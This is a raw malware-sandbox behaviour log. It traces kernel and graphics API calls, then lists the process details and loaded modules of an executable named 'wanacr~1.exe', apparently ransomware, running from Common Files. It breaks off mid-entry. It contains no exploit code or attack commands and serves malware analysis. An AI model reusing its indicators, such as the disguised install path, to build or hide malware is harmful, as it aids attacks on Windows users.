ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.039] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.039] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.039] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.039] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.040] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.040] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.040] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.041] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.103] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.104] EngAllocMem () returned 0xfffff9014251f030 [0129.104] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.104] MmMapViewOfSection (in: SectionObject=0xffffc0000159b720, Process=0xffffe00000c8f900, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0x61103a0000, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0129.104] EngCreateBitmap () returned 0x37050564 [0129.104] EngAssociateSurface () returned 0x1 [0129.104] EngLockSurface () returned 0xfffff901409e1cb8 [0129.104] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001235120 [0129.104] KeInitializeEvent (in: Event=0xffffe00001235138, Type=0x1, State=0 | out: Event=0xffffe00001235138) [0129.104] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.110] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.110] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.111] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.111] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.111] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.111] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.112] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.290] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.291] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.352] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.352] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.353] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.353] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.414] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.414] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.414] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.415] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.415] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.415] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.415] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.476] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.476] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.476] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.477] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.516] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.516] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.516] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.553] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.553] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.553] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.553] EngAllocMem () returned 0xfffff9014087f840 [0129.553] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.554] MmMapViewOfSection (in: SectionObject=0xffffc00001c662c0, Process=0xffffe00000c8f900, BaseAddress=0xfffff9014087fb68*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff9014087fb80, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014087fb68*=0x61103f0000, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff9014087fb80) returned 0x0 [0129.554] EngCreateBitmap () returned 0xffffffff810501a3 [0129.554] EngAssociateSurface () returned 0x1 [0129.554] EngLockSurface () returned 0xfffff901408972c8 [0129.554] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000012332e0 [0129.554] KeInitializeEvent (in: Event=0xffffe000012332f8, Type=0x1, State=0 | out: Event=0xffffe000012332f8) [0129.554] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.562] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.562] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.562] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.562] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.563] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.563] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.563] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.604] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.604] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.604] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.674] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.674] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.674] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.674] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.729] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.729] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.729] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.729] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.729] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.730] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.730] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.730] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.730] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.730] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.730] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.730] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.793] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.793] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.793] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.793] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.815] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.910] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0x61103f0000) returned 0x0 [0129.910] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0x610cec0000) returned 0x0 Process: id = "75" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x5d6e6000" os_pid = "0x9c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "74" os_parent_pid = "0x9a4" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 8975 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8976 start_va = 0xbd83340000 end_va = 0xbd8335ffff entry_point = 0x0 region_type = private name = "private_0x000000bd83340000" filename = "" Region: id = 8977 start_va = 0xbd83360000 end_va = 0xbd8336efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83360000" filename = "" Region: id = 8978 start_va = 0xbd83370000 end_va = 0xbd8376ffff entry_point = 0x0 region_type = private name = "private_0x000000bd83370000" filename = "" Region: id = 8979 start_va = 0xbd83770000 end_va = 0xbd83773fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83770000" filename = "" Region: id = 8980 start_va = 0x7ff6ce520000 end_va = 0x7ff6ce542fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce520000" filename = "" Region: id = 8981 start_va = 0x7ff6ce545000 end_va = 0x7ff6ce545fff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce545000" filename = "" Region: id = 8982 start_va = 0x7ff6ce54e000 end_va = 0x7ff6ce54ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce54e000" filename = "" Region: id = 8983 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 8984 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8985 start_va = 0xbd83780000 end_va = 0xbd83781fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83780000" filename = "" Region: id = 8986 start_va = 0xbd83790000 end_va = 0xbd83791fff entry_point = 0x0 region_type = private name = "private_0x000000bd83790000" filename = "" Region: id = 8987 start_va = 0xbd83980000 end_va = 0xbd83d7ffff entry_point = 0x0 region_type = private name = "private_0x000000bd83980000" filename = "" Region: id = 8988 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8989 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8990 start_va = 0xbd83340000 end_va = 0xbd8334ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd83340000" filename = "" Region: id = 8991 start_va = 0x7ff6ce420000 end_va = 0x7ff6ce51ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce420000" filename = "" Region: id = 8992 start_va = 0xbd837a0000 end_va = 0xbd8381dfff entry_point = 0xbd837a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8993 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 8994 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8995 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8996 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 8997 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 8998 start_va = 0xbd83350000 end_va = 0xbd83356fff entry_point = 0x0 region_type = private name = "private_0x000000bd83350000" filename = "" Region: id = 8999 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 9000 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 9001 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 9002 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 9003 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9004 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 9005 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 9006 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 9007 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 9008 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 9009 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9010 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9011 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 9012 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 9013 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 9014 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 9015 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 9016 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 9017 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 9018 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 9019 start_va = 0x7ffd1f740000 